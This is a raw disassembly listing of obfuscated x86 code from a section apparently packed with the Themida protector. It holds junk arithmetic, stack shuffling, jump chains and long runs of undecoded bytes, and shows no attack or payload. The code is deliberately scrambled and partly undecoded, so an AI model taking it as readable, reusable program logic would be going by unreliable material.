dd 95E9D029h, 8B00002Dh, 0E9522414h, 0FD51h, 88240C89h
dd 8BCA88F9h, 0C481240Ch, 4, 0E92434FFh, 7A0Ah, 0E9241C89h
dd 0FFFFDFE8h, 5320B252h, 0D3E9D388h, 6600006Eh, 68240C8Bh
dd 77B4h, 81243489h, 4ECh, 24248900h, 4240481h, 8B000000h
dd 0F6E92434h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_544BEB: ; CODE XREF: Themida_:00556357j
xor edi, ebx
pop ebx
or edi, 24401616h
jmp loc_544997
; ---------------------------------------------------------------------------
loc_544BF9: ; CODE XREF: Themida_:005547F5j
sub [esp+4], ebp
sub dword ptr [esp+4], 7C5557A4h
push 0AAFh
mov [esp], ebp
mov ebp, 2F4E5324h
jmp loc_547D19
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812414h, 4, 3C52CA81h, 0EA81303Fh, 62B2E774h, 0CDE9D331h
dd 66000126h, 806FB050h, 0C32820EBh, 10678E9h
db 0
; ---------------------------------------------------------------------------
loc_544C41: ; CODE XREF: Themida_:00553559j
pop esi
jmp loc_55592A
; ---------------------------------------------------------------------------
loc_544C47: ; CODE XREF: Themida_:0054E85Dj
pop edi
push ebx
mov ebx, 0BF01B8h
shl ebx, 8
push ebp
push eax
mov eax, 4CA904CDh
mov ebp, 1A9E515Fh
add ebp, eax
jmp loc_54BC8D
; ---------------------------------------------------------------------------
loc_544C64: ; CODE XREF: Themida_:00554D32j
push edi
mov edi, 33612B12h
xor edi, 58C3364Ah
not edi
jmp loc_550882
; ---------------------------------------------------------------------------
db 1
dd 0B1E95FF9h, 8B00009Eh, 89522404h, 4C281E2h, 81000000h
dd 4C2h, 35E95200h, 0B90000A4h, 0AB5096Bh, 1E981h, 0E9C10000h
dd 82685004h, 583CE608h, 0ACCAE9h
db 0
; ---------------------------------------------------------------------------
loc_544CB1: ; CODE XREF: Themida_:00551DD6j
xor eax, 0A889F73Dh
jmp loc_543198
; ---------------------------------------------------------------------------
db 29h
dd 0FD30E9CEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544CC2: ; CODE XREF: Themida_:0054C967j
xor ecx, 74AA1DA3h
add ecx, 8C20E28Dh
mov eax, ecx
pop ecx
add eax, edi
push 6A27h
mov [esp], ecx
mov ecx, 0
sub ecx, 27156985h
sub ecx, 79C172C2h
sub ecx, 408C3A96h
add ecx, eax
push esi
mov esi, 408C3A96h
add ecx, esi
pop esi
push 5333h
mov [esp], edi
push ecx
push 13957327h
pop ecx
shr ecx, 4
jmp loc_552DBA
; ---------------------------------------------------------------------------
dd 4240483h, 7404E9h
db 0
; ---------------------------------------------------------------------------
loc_544D1D: ; CODE XREF: Themida_:0054A646j
xchg ebx, [esp]
pop esp
mov [esp], ebp
jmp loc_54C8A2
; ---------------------------------------------------------------------------
loc_544D29: ; CODE XREF: Themida_:00550908j
mov eax, 7852137Ch
push esi
mov esi, 0E3D543DEh
add eax, esi
pop esi
jmp loc_549F77
; ---------------------------------------------------------------------------
dd 4C481h, 0F8290000h, 3BBD555Fh, 1353028h, 0DBB9E9E8h
dd 0E2890000h, 4C281h, 0E0680000h, 0E9000036h, 1160Ch
dd 0DF1BEFBAh, 5AD63179h, 3337B951h, 0F0E91E0Bh, 5E0000B0h
dd 4C681h, 6C680000h, 89000016h, 4BD242Ch, 0E9000000h
dd 103EEh, 2434875Bh, 2B8505Ch, 250C2941h, 5ADE6183h, 7605D8F7h
dd 513FA27Ah, 10804E9h, 7D436800h, 14890000h, 148B5824h
dd 5F84E924h, 248B0000h, 24040924h, 0D942E99Ch, 5166FFFFh
dd 0D5F6E588h, 5966EC88h, 0B4505366h, 58E788A2h, 5B66FC00h
dd 8358E700h, 0B1E904ECh, 0FEFFFFFDh, 7E4C0C4h, 0E9FFC480h
dd 73A6h
; ---------------------------------------------------------------------------
loc_544DF8: ; CODE XREF: Themida_:00553065j
add ecx, 25691706h
mov ebx, [esp]
push eax
mov eax, esp
push 3D54h
jmp loc_544FA6
; ---------------------------------------------------------------------------
dw 1487h
aRhz5 db '$\Rhz5',0
align 4
dd 0B9240C89h, 0E0C10B1h, 6833E9h
db 0
; ---------------------------------------------------------------------------
loc_544E25: ; CODE XREF: Themida_:00553F3Dj
pop esp
push eax
push ebp
jmp loc_5546CB
; ---------------------------------------------------------------------------
loc_544E2D: ; CODE XREF: Themida_:005547B4j
add ebx, edi
jmp loc_547A3E
; ---------------------------------------------------------------------------
dd 5C241487h, 0E9242C89h, 2D31h
; ---------------------------------------------------------------------------
loc_544E40: ; CODE XREF: Themida_:005471A0j
xchg ecx, [esp]
pop esp
and ecx, 7EED0D07h
not ecx
shr ecx, 7
jmp loc_54F6C1
; ---------------------------------------------------------------------------
loc_544E54: ; CODE XREF: Themida_:00551E88j
pop eax
add edx, 4
jmp loc_5449A6
; ---------------------------------------------------------------------------
dd 24048F66h, 242C8B66h, 8904EC83h, 0E2892414h, 4C281h
dd 0C2830000h, 24148702h, 2C31665Ch, 2D5EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544E86: ; CODE XREF: Themida_:0054B1D8j
sub esp, 4
jmp loc_5479D0
; ---------------------------------------------------------------------------
loc_544E8E: ; CODE XREF: Themida_:0055510Ej
mov ebp, [esp]
jmp loc_54E746
; ---------------------------------------------------------------------------
loc_544E96: ; CODE XREF: Themida_:005431F8j
mov ebx, [esp]
push 7FE3h
mov [esp], edi
push esp
pop edi
add edi, 4
push 58BAh
mov [esp], eax
jmp loc_546E40
; ---------------------------------------------------------------------------
dw 0C380h
dd 5BD80874h, 2EE9FF2Ch, 810000EDh, 4C4h, 37036800h, 0BAE90000h
db 67h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544ED3: ; CODE XREF: Themida_:00543F8Fj
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_54995B
; ---------------------------------------------------------------------------
aPA5kS5S1Xs db 'P¸ 5k',0Dh,'Ñè5ÅÞ˜/1ÂXé³!',0
db 0
; ---------------------------------------------------------------------------
loc_544EF7: ; CODE XREF: Themida_:005435EAj
shl eax, 5
add eax, 633DCF00h
sub ebx, eax
pop eax
sub ebx, edx
push edx
mov edx, 6BE42B40h
add ebx, edx
pop edx
sub ebx, 5D4D50E7h
mov edx, [esp]
jmp loc_54D7F8
; ---------------------------------------------------------------------------
db 31h
dd 2C33242Ch, 24248B24h, 34F5E9h
db 0
; ---------------------------------------------------------------------------
loc_544F29: ; CODE XREF: Themida_:0054C452j
push ebx
mov ebx, esp
jmp loc_546F34
; ---------------------------------------------------------------------------
db 86h, 0D7h, 0C0h
dd 18E903EFh, 5E0000F4h, 538AE9h
db 0, 68h
word_544F42 dw 4D75h ; DATA XREF: ___:off_4274E0o
dd 3C890000h, 242C8124h, 2F234269h, 8124148Bh, 4C4h, 33E95500h
db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544F5F: ; CODE XREF: Themida_:00554C4Cj
push 568Ch
mov [esp], ebp
push 800h
pop ebp
push 59CBh
mov [esp], ebp
jmp loc_551AAB
; ---------------------------------------------------------------------------
loc_544F7A: ; CODE XREF: Themida_:00554A9Dj
pop edx
jmp loc_545CD7
; ---------------------------------------------------------------------------
dd 0EFE9FD29h, 5F00009Ah, 4C781h, 0C7810000h, 4, 5C243C87h
dd 8704C383h, 248B241Ch, 9E6FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544FA6: ; CODE XREF: Themida_:00544E09j
mov [esp], ecx
mov ecx, 178379F2h
neg ecx
xor ecx, 73EC021Eh
push edi
mov edi, 9B908414h
xor ecx, edi
jmp loc_555028
; ---------------------------------------------------------------------------
db 81h
dd 0F2F406EDh, 5DE9013Ah, 3547C681h, 0CE012984h, 3547EE81h
dd 50592984h, 0A8DBA52h, 0E2817429h, 5E7B3730h, 6C1CA81h
dd 0EAC128F4h, 1FF28106h, 8901F3F4h, 431AE9D0h, 0E9510000h
dd 0FFFFDDF0h, 6824048Bh, 6D3Ch, 54243C89h, 0F700E9h, 48B6600h
dd 20685724h, 89000043h, 4812424h, 424h, 1D685F00h, 89000063h
dd 0A3E9240Ch, 8B00005Ch, 0C481241Ch, 4, 4C781h, 0E9570000h
dd 0FFFFF238h, 89243489h, 0E68956E6h, 8904EC83h, 69E92414h
dd 810000C9h, 4ECh, 243C8900h, 5F97E9h
db 0
; ---------------------------------------------------------------------------
loc_54506D: ; CODE XREF: Themida_:00543A60j
pop esi
jmp loc_553738
; ---------------------------------------------------------------------------
db 5Ah
dd 827A8A05h, 58C12975h, 4A59CA89h, 63E9DAF7h
db 9, 1, 0
; ---------------------------------------------------------------------------
loc_545087: ; CODE XREF: Themida_:0054F5AAj
add esp, 4
jmp loc_54733F
; ---------------------------------------------------------------------------
dw 3C87h
dd 1C895C24h, 4BB24h, 3E90000h, 5400001Fh, 4C7815Fh, 83000000h
dd 3C8704C7h, 0C3005C24h, 52EBC380h, 0CA80BFB2h, 80DAF663h
dd 0B151F5EAh, 9AF180A2h, 8059CA28h, 0D328E3EAh, 2023E95Ah
dd 0C3000001h, 5124048Bh, 5BE2E954h, 59680000h, 5D13C20Dh
dd 3B61C581h, 0EF895963h, 0E8E9505Dh
db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5450F7: ; CODE XREF: Themida_:005500ECj
pop ebx
sub esp, 4
mov [esp], eax
push ebx
mov ebx, 4
jmp loc_552550
; ---------------------------------------------------------------------------
db 0B2h, 6, 80h
dd 0DAF64AF2h, 80B2F280h, 0D528CEF2h, 59E8005Ah, 0FFDF93E9h
dd 405FFh, 42D0000h, 0E9000000h, 5F87h
; ---------------------------------------------------------------------------
loc_545130: ; CODE XREF: Themida_:0055337Dj
add ecx, 4
jmp loc_5553BE
; ---------------------------------------------------------------------------
loc_545138: ; CODE XREF: Themida_:0054BE26j
add ecx, 3A6A7B7Bh
jmp loc_543B91
; ---------------------------------------------------------------------------
db 0B9h
dd 661C641Bh, 4907E1C1h, 0F285C181h, 0CE01F1CDh, 24348759h
dd 2224E95Ch, 0E9890001h, 24348B5Dh, 0D104C483h, 0E98341E9h
dd 28C18101h, 315BE6ECh, 454559CDh, 52ADE953h, 0C1010000h
dd 2CC46858h, 14890000h, 10BF5724h, 814F3155h, 732EA7F7h
dd 5FFA8941h, 0BE56h, 0DBE90000h
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5451A3: ; CODE XREF: Themida_:005485CAj
pop edx
push 7DE5h
mov [esp], edx
sub esp, 4
mov [esp], ebp
mov ebp, 78FE689Bh
dec ebp
not ebp
sub ebp, 5FC6048Ah
jmp loc_55438E
; ---------------------------------------------------------------------------
dd 70D2BB53h, 0D901201Ch, 0BBBEE9h
db 0
; ---------------------------------------------------------------------------
loc_5451D5: ; CODE XREF: Themida_:00550BB9j
shl edx, 8
sub edx, 0A684B8AEh
mov edi, edx
pop edx
push edx
mov edx, 7C6430A4h
mov ebp, edx
mov edx, [esp]
jmp loc_556517
; ---------------------------------------------------------------------------
db 0BEh, 95h, 66h
dd 52E936FDh, 0FF00011Eh, 5F042474h, 8B24048Fh, 0F1F72424h
dd 2D1268h, 241C8900h, 5DCBE952h, 0E1810000h, 15D122CCh
dd 0A82CF181h, 0CD01D99Ch, 0DE64E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54522A: ; CODE XREF: Themida_:0055759Bj
sub ebp, ebx
jmp loc_55456F
; ---------------------------------------------------------------------------
db 81h, 0EDh, 0BDh
dd 814D9E55h, 2F0504C5h, 37C58143h, 5849210Dh, 546568h
dd 241C8900h, 4EC81h, 34890000h, 5DC6E924h, 74FF0000h
dd 8F5F0424h, 248B2404h, 4EC8124h, 89000000h, 88BD242Ch
dd 0E937ED2Dh, 0C48Ah, 81E78957h, 4C7h, 4EF8100h, 87000000h
dd 895C243Ch, 0CD89242Ch, 3CE9EA89h, 66FFFFF5h, 8124048Bh
dd 4ECh, 241C8900h, 0B068E389h, 8900007Eh, 2868243Ch, 0E97AC022h
dd 0FFFFED7Ah, 3442BA52h, 0C2814490h, 0AB1FABBAh, 258E9h
dd 81E18900h, 4C1h, 4C18300h, 2474FF51h, 0A39FE904h, 0BA520000h
dd 0FB25594h, 5D96E9h, 2EC8300h, 240C8966h, 100DE9h
db 0
; ---------------------------------------------------------------------------
loc_5452F5: ; CODE XREF: Themida_:00553B99j
add ecx, ebp
sub ecx, 3E191930h
sub ecx, 73C902C6h
mov ebp, [esp]
add esp, 4
jmp loc_553403
; ---------------------------------------------------------------------------
aSn db '^én%',0
dw 500h
dd 4, 0E904E883h, 0A7D6h
; ---------------------------------------------------------------------------
loc_545324: ; CODE XREF: Themida_:0054A236j
sub eax, 2E310F42h
jmp loc_553802
; ---------------------------------------------------------------------------
loc_54532E: ; CODE XREF: Themida_:005564CBj
push ebx
mov ebx, 28A70739h
shr ebx, 7
shr ebx, 8
sub ebx, 0AA75E5E5h
sub esi, ebx
pop ebx
pop ebp
add esi, 4
xchg esi, [esp]
pop esp
loc_54534E: ; DATA XREF: ___:off_43664Co
jmp loc_54775A
; ---------------------------------------------------------------------------
db 89h
dd 9C2D59CFh, 139A338h, 389C05F8h, 34FF39A3h, 243C8B24h
dd 8104C483h, 4C4h, 0DBE3E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545376: ; CODE XREF: Themida_:00555888j
pop ecx
add ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
jmp loc_54984A
; ---------------------------------------------------------------------------
loc_545385: ; CODE XREF: Themida_:00546F2Fj
mov esi, [esp]
add esp, 4
push 4A55h
jmp loc_55659D
; ---------------------------------------------------------------------------
dd 4C4835Dh, 645DE9h, 240C3300h, 6824248Bh, 4941h, 52240C89h
dd 0D8BE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5453B6: ; CODE XREF: Themida_:0054C3F2j
pop eax
jmp loc_5464D1
; ---------------------------------------------------------------------------
aYsst db 'Yésâ',0
align 2
dw 0C783h
dd 0C4C781FFh, 1EEDFEFh, 243C8BFBh, 4C481h, 0B8500000h
dd 2, 0E958C301h, 6882h, 33243431h, 34312434h, 0D93E924h
dd 0C7810000h, 1D47FBBh, 73BFE781h, 0EF812B85h, 87651AD5h
dd 0FFDCE3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545409: ; CODE XREF: Themida_:00546424j
mov esi, ebp
pop ebp
add ebx, 666F6890h
sub ebx, esi
jmp loc_55487C
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0F2h
dd 0F7530337h, 2E0C1D0h, 27609F2Dh, 0BF932D14h, 0C7019FCBh
dd 243C8758h, 513CE9h
db 0
; ---------------------------------------------------------------------------
loc_545439: ; CODE XREF: Themida_:00554802j
popf
retn
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFD2CCh
; ---------------------------------------------------------------------------
loc_545440: ; CODE XREF: Themida_:005530DAj
mov ebx, 746453A5h
push 492Fh
mov [esp], ebx
mov ebx, 41F24C2Ch
shr ebx, 2
and ebx, 388B53CDh
add ebx, 23520101h
sub esi, ebx
pop ebx
jmp loc_542E37
; ---------------------------------------------------------------------------
loc_545469: ; CODE XREF: Themida_:00555D54j
pop ebx
inc esi
push 74E1h
mov [esp], eax
mov eax, 3D6A37B8h
dec eax
dec eax
jmp loc_543402
; ---------------------------------------------------------------------------
loc_54547F: ; CODE XREF: Themida_:005566E4j
push eax
jmp loc_549444
; ---------------------------------------------------------------------------
db 0F7h, 0D6h, 81h
dd 2B0362EEh, 0B6B9515Fh, 0E90B2259h, 0AA4Ch, 6CF3E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54549E: ; CODE XREF: Themida_:0054E227j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
div cx
push small 101Bh
mov [esp], dx
push ax
pushf
jmp loc_54270C
; ---------------------------------------------------------------------------
dw 6843h
align 10h
dd 0E9241C29h, 0FFFFE63Bh, 0C681E689h, 4, 11755E9h
db 0
; ---------------------------------------------------------------------------
loc_5454E5: ; CODE XREF: Themida_:00552DCBj
push edi
mov edi, 7B5458DEh
mov ebx, edi
pop edi
jmp loc_54CFCC
; ---------------------------------------------------------------------------
db 0FFh
dd 48B2434h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
pop edi
add ebp, 4
jmp loc_54D0DB
; ---------------------------------------------------------------------------
loc_545510: ; CODE XREF: Themida_:00553684j
pop edi
jmp loc_547EB9
; ---------------------------------------------------------------------------
dw 0D001h
dd 4E8835Ah, 1C8FE9h, 88C68100h, 0E92D9601h, 0B189h, 5A45EF81h
dd 0A0E91CFFh
db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545537: ; CODE XREF: Themida_:005449DFj
sub esp, 4
mov [esp], edx
push esp
pop edx
jmp loc_54ED6E
; ---------------------------------------------------------------------------
loc_545547: ; CODE XREF: Themida_:005560DBj
sub cx, 5CC8h
jmp loc_54DD13
; ---------------------------------------------------------------------------
db 0F7h, 0D3h, 81h
dd 7878A9E3h, 92C38146h, 895D6607h, 241C8BDFh, 5E08950h
dd 4, 8704C083h, 15C2404h, 0A461E9FEh, 0E1BD0000h, 0C171E779h
dd 0FBE904E5h, 8100006Ah, 85BBBCE9h, 96B5E929h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545592: ; CODE XREF: Themida_:00544893j
xor bh, 0BFh
xor bh, 81h
jmp loc_55763A
; ---------------------------------------------------------------------------
loc_54559D: ; CODE XREF: Themida_:005536B5j
pop esp
push 3127h
mov [esp], edi
push 800h
pop edi
and eax, edi
jmp loc_553205
; ---------------------------------------------------------------------------
db 89h
dd 405E0h, 0C0830000h, 24048704h, 3124248Bh, 0EC815EF0h
dd 4, 53240C89h, 0CA2C27BBh, 7F21B946h, 0D929C482h, 0B9AFE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5455E2: ; CODE XREF: Themida_:0055181Cj
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
push esp
jmp loc_5505EB
; ---------------------------------------------------------------------------
aS_5 db '±Íé{Ù',0
align 4
dd 5A661B2Ch, 1424E9h
db 0
; ---------------------------------------------------------------------------
loc_545601: ; CODE XREF: Themida_:0054DDEFj
add edi, ebp
sub edi, 6E29714Ch
pop ebp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
push edi
push 3D68h
mov [esp], eax
push esp
push dword ptr [esp]
pop eax
jmp loc_547122
; ---------------------------------------------------------------------------
db 55h, 0BDh, 8Bh
dd 68699539h, 18CCh, 52243C89h, 0D789EA89h, 8124148Bh
dd 4C4h, 5F5A5700h, 5AD5015Dh, 11A08E9h
db 0
; ---------------------------------------------------------------------------
loc_545659: ; CODE XREF: Themida_:00549C95j
add ebx, 570E03A6h
push ebx
jmp loc_5548D4
; ---------------------------------------------------------------------------
db 1, 0FDh, 0E9h
dd 0DB89h, 4C481h, 0CE810000h, 35557C49h, 6072BF57h, 0EF8114BDh
dd 0FA3C93Fh, 895FFE01h, 24348BF7h, 0FFD257E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545691: ; CODE XREF: Themida_:0054E4A9j
pop esi
push edx
mov edx, 159E09F9h
jmp loc_54643B
; ---------------------------------------------------------------------------
db 81h, 0EBh, 78h
dd 81F6DA25h, 0F864CDC5h, 0EEFCE94Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5456AE: ; CODE XREF: Themida_:00546FD9j
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_547047
; ---------------------------------------------------------------------------
dw 27B3h
dd 0C01DEB80h, 0D3F605E3h, 0D3F6C3FEh, 0E92CB252h, 4EC5h
; ---------------------------------------------------------------------------
loc_5456D0: ; CODE XREF: Themida_:0054D596j
pop eax
add esp, 4
push 2256h
jmp loc_553372
; ---------------------------------------------------------------------------
loc_5456DE: ; CODE XREF: Themida_:0054AEAAj
mov eax, esi
pop esi
jmp loc_54EB53
; ---------------------------------------------------------------------------
dw 8142h
dd 725F1CEAh, 5AD3013Fh, 446BE9h, 3C77FF00h, 31B1B850h
dd 448138B7h, 59F80424h, 44810B34h, 79700424h, 44296A1Eh
dd 6C810424h, 79700424h, 0B9516A1Eh, 0B3459F8h, 8244C29h
dd 53585859h, 0A96353BBh, 0FDE38119h, 0E9003203h, 0BBBCh
dd 0CAE9D9F7h, 2D00006Dh, 8307AFDh, 11B7E9h, 89F58100h
dd 0E90E2C3Dh, 11493h, 62CB68h, 242C8900h, 0BF575D54h
dd 4, 1D49BF57h, 0CF81286Ah, 76BC21DCh, 9AC78147h, 472A6602h
dd 0E3F78147h, 0E9CAFA53h, 7689h, 8704C483h, 0ABE9240Ch
dd 54000111h, 0E924048Fh, 0F171h, 5024348Bh, 0D5E9E089h
db 9, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5457A3: ; CODE XREF: Themida_:00556A82j
mov [esp], ebp
mov ebp, esp
jmp loc_548AE5
; ---------------------------------------------------------------------------
loc_5457AD: ; CODE XREF: Themida_:0054C484j
mov [esp], edx
push 379h
push 3F3Dh
jmp loc_54BCEA
; ---------------------------------------------------------------------------
db 80h
dd 0D128A5F2h, 77E9805Ah, 0C180F900h, 9EB1E977h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5457D2: ; CODE XREF: Themida_:005568A6j
push esp
pop edi
add edi, 4
push 20Ch
mov [esp], ebp
push esi
mov esi, 1F8A2BECh
not esi
xor esi, 2F0260DDh
jmp loc_54A21C
; ---------------------------------------------------------------------------
db 29h, 0E8h, 2Dh
dd 5BC2F9Ch, 4B8D685Dh, 2C890000h, 25DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54580A: ; CODE XREF: Themida_:00556ACEj
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_5529A9
; ---------------------------------------------------------------------------
loc_54581B: ; CODE XREF: Themida_:00556F9Dj
pop eax
add ecx, 0D07B7441h
mov ebx, ecx
pop ecx
shl ebx, 7
sub esp, 4
mov [esp], ebp
mov ebp, 0C723970h
jmp loc_544B56
; ---------------------------------------------------------------------------
db 0BDh
dd 107A5C15h, 0D041E9h, 0FAEF8100h, 0E9318A58h, 0B994h
dd 2C9DF281h, 91E949A0h, 50000ABh, 5C6C1607h, 5F2434FFh
dd 0E9E38953h, 0BAD8h, 2424D35Ch, 0CE96E99Ch, 8B66FFFFh
dd 0EC832404h, 0F7CAE904h, 0C383FFFFh, 48F38101h, 53544B13h
dd 5B2414F7h, 0E9FEBF57h, 0FB318E1Dh, 0C87E9h
db 0
; ---------------------------------------------------------------------------
loc_54589D: ; CODE XREF: Themida_:00554897j
mov ebx, esp
add ebx, 4
jmp loc_54D98F
; ---------------------------------------------------------------------------
loc_5458AA: ; CODE XREF: Themida_:005550ADj
push edx
mov edx, 23B174B6h
sub edx, 5C63325Eh
sub edx, 0C74E4254h
jmp loc_5567CD
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 0EC815224h, 4, 81242489h, 42404h, 815A0000h, 4C2h, 4EA8100h
dd 52000000h, 42474FFh, 8124148Bh, 4C4h, 24048F00h, 0BC5DE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5458FA: ; CODE XREF: Themida_:0054F15Aj
mov [esp], edx
push small 1C44h
pop dx
jmp loc_5559A6
; ---------------------------------------------------------------------------
loc_545908: ; CODE XREF: Themida_:00546D7Fj
pop edx
jmp loc_54F99A
; ---------------------------------------------------------------------------
dw 6856h
dd 58030B89h, 0B2EB815Eh, 2958F04Dh, 0B2C381F3h, 0FF58F04Dh
dd 348B2434h, 616F6824h, 3C890000h, 2008E924h, 0C0090000h
dd 907A840Fh, 4B680000h, 0E9000053h, 4DAEh, 0E5C2815Eh
dd 0E9323A24h, 108BCh, 2BFFEF81h, 0DF013635h, 2BFFC781h
dd 0FD5B3635h, 0A6850h, 0E2E90000h, 5E0000E6h, 6B04BF57h
dd 0FB01729Bh, 0CEF3815Fh, 579DA95h, 1CD4059Bh, 9B2DD801h
dd 0E91CD405h, 2316h, 4EC81h, 4890000h, 0E9B5B424h, 0FFFFD15Ah
; ---------------------------------------------------------------------------
loc_5459A0: ; CODE XREF: Themida_:0055676Dj
add ecx, esi
jmp loc_54C4D3
; ---------------------------------------------------------------------------
aWIyrphbAvxQZus db 'W¿',0Dh,7,'ëYRPh',0Ah
db '€vX%ï(ZUé›X',0
dw 5900h
dd 0B6EC781h, 0EF0105B7h, 0B6EEF81h, 2C8B05B7h, 0E6895624h
dd 4C681h, 0B6E90000h
db 5Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5459DF: ; CODE XREF: Themida_:005495E5j
xor ebp, 2C6F27A9h
push edi
jmp loc_54A45D
; ---------------------------------------------------------------------------
db 8Bh
dd 3CE92404h, 5700000Bh, 21266BFh, 55DFF736h, 0D5DBE956h
dd 0CDFE0000h, 0FE05E5C0h, 0B05066CDh, 66C53089h, 59EA3058h
dd 88D4F280h, 24148BD4h, 4C481h, 0B2520000h, 5B3CE9FCh
dd 248B0000h, 24040024h, 0D124E99Ch, 0C481FFFFh, 4, 635BC381h
dd 73E9481Fh
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545A47: ; CODE XREF: Themida_:0055495Cj
push edx
mov edx, 4
sub edi, edx
pop edx
jmp loc_54F8EB
; ---------------------------------------------------------------------------
loc_545A55: ; CODE XREF: Themida_:0054B3C5j
xchg esi, [esp]
pop esp
jmp loc_550D7E
; ---------------------------------------------------------------------------
loc_545A5E: ; CODE XREF: Themida_:005485DDj
mov cx, [esp]
jmp loc_54B3F6
; ---------------------------------------------------------------------------
db 51h
dd 4C21B468h, 0D1F75978h, 0FB11E949h, 91E9FFFFh, 52FFFFCCh
dd 6C24E957h, 0E8880000h, 0DA83E9h, 81DBF700h, 273988E3h
dd 0ABF3813Dh, 3145A108h, 0C5895BD8h, 7C51E9h
db 0
; ---------------------------------------------------------------------------
loc_545AA1: ; CODE XREF: Themida_:00555FEEj
add ebp, eax
pop eax
add ebx, ebp
pop ebp
mov ecx, [esp]
add esp, 4
jmp loc_54B458
; ---------------------------------------------------------------------------
loc_545AB5: ; CODE XREF: Themida_:00549FE7j
add esp, 4
jmp loc_54F848
; ---------------------------------------------------------------------------
loc_545ABD: ; CODE XREF: Themida_:00549A96j
push 6B49h
jmp loc_54BBCF
; ---------------------------------------------------------------------------
loc_545AC7: ; CODE XREF: Themida_:005442D7j
sub esp, 4
jmp loc_543156
; ---------------------------------------------------------------------------
dw 2859h
dd 5BCE04D8h, 4EC8151h, 89000000h, 0C3B42404h, 0E9E58851h
dd 2CAFh
; ---------------------------------------------------------------------------
loc_545AEC: ; CODE XREF: Themida_:00542F60j
neg eax
shr eax, 2
or eax, 6EAE42E4h
push ebp
mov ebp, 66B4246Ch
add ebp, 0C275E6E8h
xor eax, ebp
jmp loc_54D4C0
; ---------------------------------------------------------------------------
loc_545B09: ; CODE XREF: Themida_:005473FDj
sub bh, cl
add bh, 0DDh
pop cx
sub bh, 42h
mov al, bh
pop ebx
mov cl, 2Fh
jmp loc_54C4C3
; ---------------------------------------------------------------------------
db 0BEh, 0BCh, 57h
dd 0F7563EA5h, 815E2414h, 0D4EE2EEh, 8BF52914h, 0C4832434h
dd 4F685304h, 5B725E00h, 2D5BD829h, 338B614Bh, 4B05E829h
dd 52338B61h, 7F0461BAh, 51EAD17Eh, 0B9h, 87D12900h, 14BCE9CAh
db 1, 0
; ---------------------------------------------------------------------------
loc_545B62: ; CODE XREF: Themida_:005550E2j
add edi, 4
sub edi, 4
jmp loc_54B360
; ---------------------------------------------------------------------------
db 83h
dd 97E904C7h, 810000BAh, 4C4h, 52336800h, 2C890000h, 4BD24h
dd 68520000h, 2EFF4B64h, 1CAFE95Ah, 0EC810001h, 4, 89243489h
dd 0BB5356C6h, 190A49BCh, 77CEB951h, 4C017C7Fh, 1590824h
dd 8104245Ch, 4ECh, 5BEE900h
db 1, 0
; ---------------------------------------------------------------------------
loc_545BC6: ; CODE XREF: Themida_:00556FC5j
pop eax
sub eax, esi
jmp loc_543E59
; ---------------------------------------------------------------------------
dw 0F281h
dd 174B199Eh, 0E9D78957h, 2972h
; ---------------------------------------------------------------------------
loc_545BDC: ; CODE XREF: Themida_:00548BBFj
and ebp, ecx
pop ecx
jmp loc_54E606
; ---------------------------------------------------------------------------
dd 152568h, 241C8900h, 0A7D8E951h, 0FA010000h, 81243C8Bh
dd 4C4h, 36BBE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545C02: ; CODE XREF: Themida_:00549908j
add esp, 4
push 17FEh
mov [esp], ebx
jmp loc_5525B2
; ---------------------------------------------------------------------------
db 31h, 0F3h, 31h
dd 5EF331DEh, 0FFCFBEE9h, 5DE989FFh, 505AC681h, 8CE9016Eh
dd 0F7FFFFF0h, 7E5C1DDh, 0ADC2F581h, 0C6B8B692h, 31006D2Dh
dd 0BEE95DE8h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545C47: ; CODE XREF: Themida_:0054EF3Dj
add [esp], eax
add dword ptr [esp], 1EBD0DFAh
add dword ptr [esp], 0AE37929h
sub dword ptr [esp], 50C9252Ah
jmp loc_5432B3
; ---------------------------------------------------------------------------
loc_545C64: ; CODE XREF: Themida_:0054E4F9j
mov eax, 19BC5A25h
sub eax, 6BD9149Bh
xor eax, 53877674h
xor eax, 8E88578Fh
sub edi, eax
pop eax
sub edi, 0AEB1C423h
sub edx, 14EF4C9Ah
add edx, edi
add edx, 14EF4C9Ah
pop edi
